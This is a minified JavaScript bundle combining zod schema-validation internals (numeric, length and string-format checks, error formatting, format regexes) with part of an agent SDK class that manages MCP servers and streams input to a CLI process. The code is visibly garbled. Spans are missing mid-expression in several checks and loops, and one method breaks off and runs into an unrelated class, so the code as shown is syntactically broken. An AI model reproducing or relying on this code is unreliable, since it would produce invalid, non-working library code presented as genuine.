r=e.format?.includes("int"),n=r?"int":"number",[a,s]=ST[e.format];t._zod.onattach.push(i=>{let o=i._zod.bag;o.format=e.format,o.minimum=a,o.maximum=s,r&&(o.pattern=uz)}),t._zod.check=i=>{let o=i.value;if(r){if(!Number.isInteger(o)){i.issues.push({expected:n,format:e.format,code:"invalid_type",input:o,inst:t});return}if(!Number.isSafeInteger(o)){o>0?i.issues.push({input:o,code:"too_big",maximum:Number.MAX_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:t,origin:n,continue:!e.abort}):i.issues.push({input:o,code:"too_small",minimum:Number.MIN_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:t,origin:n,continue:!e.abort});return}}os&&i.issues.push({origin:"number",input:o,code:"too_big",maximum:s,inst:t})}}),gz=ae("$ZodCheckMaxLength",(t,e)=>{ar.init(t,e),t._zod.when=r=>{let n=r.value;return!pl(n)&&n.length!==void 0},t._zod.onattach.push(r=>{let n=r._zod.bag.maximum??Number.POSITIVE_INFINITY;e.maximum{let n=r.value;if(n.length<=e.maximum)return;let s=ml(n);r.issues.push({origin:s,code:"too_big",maximum:e.maximum,inclusive:!0,input:n,inst:t,continue:!e.abort})}}),yz=ae("$ZodCheckMinLength",(t,e)=>{ar.init(t,e),t._zod.when=r=>{let n=r.value;return!pl(n)&&n.length!==void 0},t._zod.onattach.push(r=>{let n=r._zod.bag.minimum??Number.NEGATIVE_INFINITY;e.minimum>n&&(r._zod.bag.minimum=e.minimum)}),t._zod.check=r=>{let n=r.value;if(n.length>=e.minimum)return;let s=ml(n);r.issues.push({origin:s,code:"too_small",minimum:e.minimum,inclusive:!0,input:n,inst:t,continue:!e.abort})}}),_z=ae("$ZodCheckLengthEquals",(t,e)=>{ar.init(t,e),t._zod.when=r=>{let n=r.value;return!pl(n)&&n.length!==void 0},t._zod.onattach.push(r=>{let n=r._zod.bag;n.minimum=e.length,n.maximum=e.length,n.length=e.length}),t._zod.check=r=>{let n=r.value,a=n.length;if(a===e.length)return;let s=ml(n),i=a>e.length;r.issues.push({origin:s,...i?{code:"too_big",maximum:e.length}:{code:"too_small",minimum:e.length},inclusive:!0,exact:!0,input:r.value,inst:t,continue:!e.abort})}}),hl=ae("$ZodCheckStringFormat",(t,e)=>{var r,n;ar.init(t,e),t._zod.onattach.push(a=>{let s=a._zod.bag;s.format=e.format,e.pattern&&(s.patterns??(s.patterns=new Set),s.patterns.add(e.pattern))}),e.pattern?(r=t._zod).check??(r.check=a=>{e.pattern.lastIndex=0,!e.pattern.test(a.value)&&a.issues.push({origin:"string",code:"invalid_format",format:e.format,input:a.value,...e.pattern?{pattern:e.pattern.toString()}:{},inst:t,continue:!e.abort})}):(n=t._zod).check??(n.check=()=>{})}),bz=ae("$ZodCheckRegex",(t,e)=>{hl.init(t,e),t._zod.check=r=>{e.pattern.lastIndex=0,!e.pattern.test(r.value)&&r.issues.push({origin:"string",code:"invalid_format",format:"regex",input:r.value,pattern:e.pattern.toString(),inst:t,continue:!e.abort})}}),xz=ae("$ZodCheckLowerCase",(t,e)=>{e.pattern??(e.pattern=fz),hl.init(t,e)}),wz=ae("$ZodCheckUpperCase",(t,e)=>{e.pattern??(e.pattern=mz),hl.init(t,e)}),Sz=ae("$ZodCheckIncludes",(t,e)=>{ar.init(t,e);let r=ni(e.includes),n=new RegExp(typeof e.position=="number"?`^.{${e.position}}${r}`:r);e.pattern=n,t._zod.onattach.push(a=>{let s=a._zod.bag;s.patterns??(s.patterns=new Set),s.patterns.add(n)}),t._zod.check=a=>{a.value.includes(e.includes,e.position)||a.issues.push({origin:"string",code:"invalid_format",format:"includes",includes:e.includes,input:a.value,inst:t,continue:!e.abort})}}),Ez=ae("$ZodCheckStartsWith",(t,e)=>{ar.init(t,e);let r=new RegExp(`^${ni(e.prefix)}.*`);e.pattern??(e.pattern=r),t._zod.onattach.push(n=>{let a=n._zod.bag;a.patterns??(a.patterns=new Set),a.patterns.add(r)}),t._zod.check=n=>{n.value.startsWith(e.prefix)||n.issues.push({origin:"string",code:"invalid_format",format:"starts_with",prefix:e.prefix,input:n.value,inst:t,continue:!e.abort})}}),Tz=ae("$ZodCheckEndsWith",(t,e)=>{ar.init(t,e);let r=new RegExp(`.*${ni(e.suffix)}$`);e.pattern??(e.pattern=r),t._zod.onattach.push(n=>{let a=n._zod.bag;a.patterns??(a.patterns=new Set),a.patterns.add(r)}),t._zod.check=n=>{n.value.endsWith(e.suffix)||n.issues.push({origin:"string",code:"invalid_format",format:"ends_with",suffix:e.suffix,input:n.value,inst:t,continue:!e.abort})}}),kz=ae("$ZodCheckOverwrite",(t,e)=>{ar.init(t,e),t._zod.check=r=>{r.value=e.tx(r.value)}}),mm=class{constructor(e=[]){this.content=[],this.indent=0,this&&(this.args=e)}indented(e){this.indent+=1,e(this),this.indent-=1}write(e){if(typeof e=="function"){e(this,{execution:"sync"}),e(this,{execution:"async"});return}let n=e.split(` +`))})}async supportedCommands(){return(await this.initialization).commands}async supportedModels(){return(await this.initialization).models}async mcpServerStatus(){return(await this.request({subtype:"mcp_status"})).response.mcpServers}async setMcpServers(e){let r={},n={};for(let[c,u]of Object.entries(e))u.type==="sdk"&&"instance"in u?r[c]=u.instance:n[c]=u;let a=new Set(this.sdkMcpServerInstances.keys()),s=new Set(Object.keys(r));for(let c of a)s.has(c)||await this.disconnectSdkMcpServer(c);for(let[c,u]of Object.entries(r))a.has(c)||this.connectSdkMcpServer(c,u);let i={};for(let c of Object.keys(r))i[c]={type:"sdk",name:c};return(await this.request({subtype:"mcp_set_servers",servers:{...n,...i}})).response}async accountInfo(){return(await this.initialization).account}async streamInput(e){Fa("[Query.streamInput] Starting to process input stream");try{let r=0;for await(let n of e){if(r++,Fa(`[Query.streamInput] Processing message ${r}: ${n.type}`),this.abortController?.signal.aborted)break;await Promise.resolve(this.transport.write(JSON.stringify(n)+` +`))}Fa(`[Query.streamInput] Finished processing ${r} messages from input stream`),this.hasBidirectionalNeeds()&&(Fa("[Query.streamInput] Has bidirectional needs, waiting for first result"),await this.waitForFirstResult()),Fa("[Query] Calling transport.endInput() to close stdin to CLI process"),this.transport.endInput()}catch(r){if(!(r instanceof Nn))throw r}}waitForFirstResult(){return this.firstResultReceived?(Fa("[Query.waitForFirstResult] Result already received, returning immediately"),Promise.resolve()):new Promise(e=>{if(this.abortController?.signal.aborted){e();return}this.abortController?.signal.addEventListener("abort",()=>e(),{once:!0}),this.firstResultReceivedResolve=e})}handleHookCallbacks(e,r,n,a){let s=this.hookCallbacks.get(e);if(!s)throw new Error(`No hook callback found for ID: ${e}`);return s(r,n,{signal:a})}connectSdkMcpServer(e,r){let n=new sm(a=>this.sendMcpServerMessageToCli(e,a));this.sdkMcpTransports.set(e,n),this.sdkMcpServerInstances.set(e,r),r.connect(n)}async disconnectSdkMcpServer(e){let r=this.sdkMcpTransports.get(e);r&&(await r.close(),this.sdkMcpTransports.delete(e)),this.sdkMcpServerInstances.delete(e)}sendMcpServerMessageToCli(e,r){if("id"in r&&r.id!==null&&r.id!==void 0){let a=`${e}:${r.id}`,s=this.pendingMcpResponses.get(a);if(s){s.resolve(r),this.pendingMcpResponses.delete(a);return}}let n={type:"control_request",request_id:(0,ST.randomUUID)(),request:{subtype:"mcp_message",server_name:e,message:r}};this.transport.write(JSON.stringify(n)+` +`)}handleMcpControlRequest(e,r,n){let a="id"in r.message?r.message.id:null,s=`${e}:${a}`;return new Promise((i,o)=>{let c=()=>{this.pendingMcpResponses.delete(s)},u=d=>{c(),i(d)},l=d=>{c(),o(d)};if(this.pendingMcpResponses.set(s,{resolve:u,reject:l}),n.onmessage)n.onmessage(r.message);else{c(),o(new Error("No message handler registered"));return}})}};var We;(function(t){t.assertEqual=a=>{};function e(a){}t.assertIs=e;function r(a){throw new Error}t.assertNever=r,t.arrayToEnum=a=>{let s={};for(let i of a)s[i]=i;return s},t.getValidEnumValues=a=>{let s=t.objectKeys(a).filter(o=>typeof a[a[o]]!="number"),i={};for(let o of s)i[o]=a[o];return t.objectValues(i)},t.objectValues=a=>t.objectKeys(a).map(function(s){return a[s]}),t.objectKeys=typeof Object.keys=="function"?a=>Object.keys(a):a=>{let s=[];for(let i in a)Object.prototype.hasOwnProperty.call(a,i)&&s.push(i);return s},t.find=(a,s)=>{for(let i of a)if(s(i))return i},t.isInteger=typeof Number.isInteger=="function"?a=>Number.isInteger(a):a=>typeof a=="number"&&Number.isFinite(a)&&Math.floor(a)===a;function n(a,s=" | "){return a.map(i=>typeof i=="string"?`'${i}'`:i).join(s)}t.joinValues=n,t.jsonStringifyReplacer=(a,s)=>typeof s=="bigint"?s.toString():s})(We||(We={}));var x1;(function(t){t.mergeShapes=(e,r)=>({...e,...r})})(x1||(x1={}));var _e=We.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),za=t=>{switch(typeof t){case"undefined":return _e.undefined;case"string":return _e.string;case"number":return Number.isNaN(t)?_e.nan:_e.number;case"boolean":return _e.boolean;case"function":return _e.function;case"bigint":return _e.bigint;case"symbol":return _e.symbol;case"object":return Array.isArray(t)?_e.array:t===null?_e.null:t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?_e.promise:typeof Map<"u"&&t instanceof Map?_e.map:typeof Set<"u"&&t instanceof Set?_e.set:typeof Date<"u"&&t instanceof Date?_e.date:_e.object;default:return _e.unknown}},ue=We.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),$r=class t extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=n=>{this.issues=[...this.issues,n]},this.addIssues=(n=[])=>{this.issues=[...this.issues,...n]};let r=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,r):this.__proto__=r,this.name="ZodError",this.issues=e}format(e){let r=e||function(s){return s.message},n={_errors:[]},a=s=>{for(let i of s.issues)if(i.code==="invalid_union")i.unionErrors.map(a);else if(i.code==="invalid_return_type")a(i.returnTypeError);else if(i.code==="invalid_arguments")a(i.argumentsError);else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;cr.message){let r={},n=[];for(let a of this.issues)if(a.path.length>0){let s=a.path[0];r[s]=r[s]||[],r[s].push(e(a))}else n.push(e(a));return{formErrors:n,fieldErrors:r}}get formErrors(){return this.flatten()}};$r.create=t=>new $r(t);var pF=(t,e)=>{let r;switch(t.code){case ue.invalid_type:t.received===_e.undefined?r="Required":r=`Expected ${t.expected}, received ${t.received}`;break;case ue.invalid_literal:r=`Invalid literal value, expected ${JSON.stringify(t.expected,We.jsonStringifyReplacer)}`;break;case ue.unrecognized_keys:r=`Unrecognized key(s) in object: ${We.joinValues(t.keys,", ")}`;break;case ue.invalid_union:r="Invalid input";break;case ue.invalid_union_discriminator:r=`Invalid discriminator value. Expected ${We.joinValues(t.options)}`;break;case ue.invalid_enum_value:r=`Invalid enum value. Expected ${We.joinValues(t.options)}, received '${t.received}'`;break;case ue.invalid_arguments:r="Invalid function arguments";break;case ue.invalid_return_type:r="Invalid function return type";break;case ue.invalid_date:r="Invalid date";break;case ue.invalid_string:typeof t.validation=="object"?"includes"in t.validation?(r=`Invalid input: must include "${t.validation.includes}"`,typeof t.validation.position=="number"&&(r=`${r} at one or more positions greater than or equal to ${t.validation.position}`)):"startsWith"in t.validation?r=`Invalid input: must start with "${t.validation.startsWith}"`:"endsWith"in t.validation?r=`Invalid input: must end with "${t.validation.endsWith}"`:We.assertNever(t.validation):t.validation!=="regex"?r=`Invalid ${t.validation}`:r="Invalid";break;case ue.too_small:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at least":"more than"} ${t.minimum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at least":"over"} ${t.minimum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="bigint"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(t.minimum))}`:r="Invalid input";break;case ue.too_big:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at most":"less than"} ${t.maximum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at most":"under"} ${t.maximum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="bigint"?r=`BigInt must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly":t.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(t.maximum))}`:r="Invalid input";break;case ue.custom:r="Invalid input";break;case ue.invalid_intersection_types:r="Intersection results could not be merged";break;case ue.not_multiple_of:r=`Number must be a multiple of ${t.multipleOf}`;break;case ue.not_finite:r="Number must be finite";break;default:r=e.defaultError,We.assertNever(t)}return{message:r}},go=pF,fF=go;function om(){return fF}var cm=t=>{let{data:e,path:r,errorMaps:n,issueData:a}=t,s=[...r,...a.path||[]],i={...a,path:s};if(a.message!==void 0)return{...a,path:s,message:a.message};let o="",c=n.filter(u=>!!u).slice().reverse();for(let u of c)o=u(i,{data:e,defaultError:o}).message;return{...a,path:s,message:o}};function ve(t,e){let r=om(),n=cm({issueData:e,data:t.data,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,r,r===go?void 0:go].filter(a=>!!a)});t.common.issues.push(n)}var Kt=class t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,r){let n=[];for(let a of r){if(a.status==="aborted")return Oe;a.status==="dirty"&&e.dirty(),n.push(a.value)}return{status:e.value,value:n}}static async mergeObjectAsync(e,r){let n=[];for(let a of r){let s=await a.key,i=await a.value;n.push({key:s,value:i})}return t.mergeObjectSync(e,n)}static mergeObjectSync(e,r){let n={};for(let a of r){let{key:s,value:i}=a;if(s.status==="aborted"||i.status==="aborted")return Oe;s.status==="dirty"&&e.dirty(),i.status==="dirty"&&e.dirty(),s.value!=="__proto__"&&(typeof i.value<"u"||a.alwaysSet)&&(n[s.value]=i.value)}return{status:e.value,value:n}}},Oe=Object.freeze({status:"aborted"}),mo=t=>({status:"dirty",value:t}),sr=t=>({status:"valid",value:t}),w1=t=>t.status==="aborted",S1=t=>t.status==="dirty",Us=t=>t.status==="valid",Ju=t=>typeof Promise<"u"&&t instanceof Promise,xe;(function(t){t.errToObj=e=>typeof e=="string"?{message:e}:e||{},t.toString=e=>typeof e=="string"?e:e?.message})(xe||(xe={}));var Rr=class{constructor(e,r,n,a){this._cachedPath=[],this.parent=e,this.data=r,this._path=n,this._key=a}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},E1=(t,e)=>{if(Us(e))return{success:!0,data:e.value};if(!t.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let r=new $r(t.common.issues);return this._error=r,this._error}}};function Me(t){if(!t)return{};let{errorMap:e,invalid_type_error:r,required_error:n,description:a}=t;if(e&&(r||n))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:a}:{errorMap:(i,o)=>{let{message:c}=t;return i.code==="invalid_enum_value"?{message:c??o.defaultError}:typeof o.data>"u"?{message:c??n??o.defaultError}:i.code!=="invalid_type"?{message:o.defaultError}:{message:c??r??o.defaultError}},description:a}}var ze=class{get description(){return this._def.description}_getType(e){return za(e.data)}_getOrReturnCtx(e,r){return r||{common:e.parent.common,data:e.data,parsedType:za(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new Kt,ctx:{common:e.parent.common,data:e.data,parsedType:za(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let r=this._parse(e);if(Ju(r))throw new Error("Synchronous parse encountered promise.");return r}_parseAsync(e){let r=this._parse(e);return Promise.resolve(r)}parse(e,r){let n=this.safeParse(e,r);if(n.success)return n.data;throw n.error}safeParse(e,r){let n={common:{issues:[],async:r?.async??!1,contextualErrorMap:r?.errorMap},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:za(e)},a=this._parseSync({data:e,path:n.path,parent:n});return E1(n,a)}"~validate"(e){let r={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:za(e)};if(!this["~standard"].async)try{let n=this._parseSync({data:e,path:[],parent:r});return Us(n)?{value:n.value}:{issues:r.common.issues}}catch(n){n?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),r.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:r}).then(n=>Us(n)?{value:n.value}:{issues:r.common.issues})}async parseAsync(e,r){let n=await this.safeParseAsync(e,r);if(n.success)return n.data;throw n.error}async safeParseAsync(e,r){let n={common:{issues:[],contextualErrorMap:r?.errorMap,async:!0},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:za(e)},a=this._parse({data:e,path:n.path,parent:n}),s=await(Ju(a)?a:Promise.resolve(a));return E1(n,s)}refine(e,r){let n=a=>typeof r=="string"||typeof r>"u"?{message:r}:typeof r=="function"?r(a):r;return this._refinement((a,s)=>{let i=e(a),o=()=>s.addIssue({code:ue.custom,...n(a)});return typeof Promise<"u"&&i instanceof Promise?i.then(c=>c?!0:(o(),!1)):i?!0:(o(),!1)})}refinement(e,r){return this._refinement((n,a)=>e(n)?!0:(a.addIssue(typeof r=="function"?r(n,a):r),!1))}_refinement(e){return new Lr({schema:this,typeName:Ce.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:r=>this["~validate"](r)}}optional(){return qr.create(this,this._def)}nullable(){return ya.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return Ba.create(this)}promise(){return Mn.create(this,this._def)}or(e){return Zs.create([this,e],this._def)}and(e){return Gs.create(this,e,this._def)}transform(e){return new Lr({...Me(this._def),schema:this,typeName:Ce.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let r=typeof e=="function"?e:()=>e;return new Ys({...Me(this._def),innerType:this,defaultValue:r,typeName:Ce.ZodDefault})}brand(){return new Yu({typeName:Ce.ZodBranded,type:this,...Me(this._def)})}catch(e){let r=typeof e=="function"?e:()=>e;return new Qs({...Me(this._def),innerType:this,catchValue:r,typeName:Ce.ZodCatch})}describe(e){let r=this.constructor;return new r({...this._def,description:e})}pipe(e){return Qu.create(this,e)}readonly(){return ei.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}},mF=/^c[^\s-]{8,}$/i,hF=/^[0-9a-z]+$/,vF=/^[0-9A-HJKMNP-TV-Z]{26}$/i,gF=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,yF=/^[a-z0-9_-]{21}$/i,_F=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,bF=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,xF=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,wF="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",Jf,SF=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,EF=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,TF=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,kF=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,$F=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,RF=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,ET="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",PF=new RegExp(`^${ET}$`);function TT(t){let e="[0-5]\\d";t.precision?e=`${e}\\.\\d{${t.precision}}`:t.precision==null&&(e=`${e}(\\.\\d+)?`);let r=t.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${r}`}function OF(t){return new RegExp(`^${TT(t)}$`)}function CF(t){let e=`${ET}T${TT(t)}`,r=[];return r.push(t.local?"Z?":"Z"),t.offset&&r.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${r.join("|")})`,new RegExp(`^${e}$`)}function IF(t,e){return!!((e==="v4"||!e)&&SF.test(t)||(e==="v6"||!e)&&TF.test(t))}function AF(t,e){if(!_F.test(t))return!1;try{let[r]=t.split(".");if(!r)return!1;let n=r.replace(/-/g,"+").replace(/_/g,"/").padEnd(r.length+(4-r.length%4)%4,"="),a=JSON.parse(atob(n));return!(typeof a!="object"||a===null||"typ"in a&&a?.typ!=="JWT"||!a.alg||e&&a.alg!==e)}catch{return!1}}function NF(t,e){return!!((e==="v4"||!e)&&EF.test(t)||(e==="v6"||!e)&&kF.test(t))}var Hs=class t extends ze{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==_e.string){let s=this._getOrReturnCtx(e);return ve(s,{code:ue.invalid_type,expected:_e.string,received:s.parsedType}),Oe}let n=new Kt,a;for(let s of this._def.checks)if(s.kind==="min")e.data.lengths.value&&(a=this._getOrReturnCtx(e,a),ve(a,{code:ue.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),n.dirty());else if(s.kind==="length"){let i=e.data.length>s.value,o=e.data.lengthe.test(a),{validation:r,code:ue.invalid_string,...xe.errToObj(n)})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...xe.errToObj(e)})}url(e){return this._addCheck({kind:"url",...xe.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...xe.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...xe.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...xe.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...xe.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...xe.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...xe.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...xe.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...xe.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...xe.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...xe.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...xe.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...xe.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...xe.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...xe.errToObj(e)})}regex(e,r){return this._addCheck({kind:"regex",regex:e,...xe.errToObj(r)})}includes(e,r){return this._addCheck({kind:"includes",value:e,position:r?.position,...xe.errToObj(r?.message)})}startsWith(e,r){return this._addCheck({kind:"startsWith",value:e,...xe.errToObj(r)})}endsWith(e,r){return this._addCheck({kind:"endsWith",value:e,...xe.errToObj(r)})}min(e,r){return this._addCheck({kind:"min",value:e,...xe.errToObj(r)})}max(e,r){return this._addCheck({kind:"max",value:e,...xe.errToObj(r)})}length(e,r){return this._addCheck({kind:"length",value:e,...xe.errToObj(r)})}nonempty(e){return this.min(1,xe.errToObj(e))}trim(){return new t({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get 